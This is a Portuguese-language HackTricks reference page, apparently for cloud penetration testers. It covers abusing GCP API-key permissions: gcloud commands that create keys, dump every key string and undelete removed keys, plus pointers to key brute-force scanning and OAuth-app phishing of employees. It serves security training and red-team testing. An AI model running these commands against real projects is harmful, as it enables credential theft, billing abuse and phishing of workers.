GCP - Apikeys Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Apikeys

As permissões a seguir são úteis para criar e roubar chaves de API, não está nos docs: Uma chave de API é uma string simples criptografada que identifica um aplicativo sem qualquer principal. Elas são úteis para acessar dados públicos anonimamente e são usadas para associar solicitações de API ao seu projeto para cota e cobrança.

Portanto, com uma chave de API, você pode fazer com que a empresa pague pelo seu uso da API, mas não conseguirá escalar privilégios.

Para mais informações sobre Chaves de API, consulte:

GCP - API Keys Enum

Para outras maneiras de criar chaves de API, consulte:

GCP - Serviceusage Privesc

Brute Force API Key access

Como você pode não saber quais APIs estão habilitadas no projeto ou as restrições aplicadas à chave de API que você encontrou, seria interessante executar a ferramenta https://github.com/ozguralp/gmapsapiscanner e verificar o que você pode acessar com a chave de API.

apikeys.keys.create

Esta permissão permite criar uma chave de API:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

Você pode encontrar um script para automatizar a criação, exploração e limpeza de um ambiente vulnerável aqui.

Observe que, por padrão, os usuários têm permissões para criar novos projetos e recebem o papel de Proprietário sobre o novo projeto. Portanto, um usuário poderia criar um projeto e uma chave de API dentro deste projeto.

apikeys.keys.getKeyString , apikeys.keys.list

Essas permissões permitem listar e obter todas as apiKeys e obter a Chave:

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

Você pode encontrar um script para automatizar a criação, exploração e limpeza de um ambiente vulnerável aqui.

apikeys.keys.undelete , apikeys.keys.list

Essas permissões permitem que você liste e regenere chaves de API deletadas. A chave de API é fornecida na saída após a desdeleção ser concluída:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

Criar Aplicativo OAuth Interno para phishing de outros trabalhadores

Verifique a página a seguir para aprender como fazer isso, embora essa ação pertença ao serviço clientauthconfig de acordo com a documentação:

GWS - Google Platforms Phishing

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Verifique os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.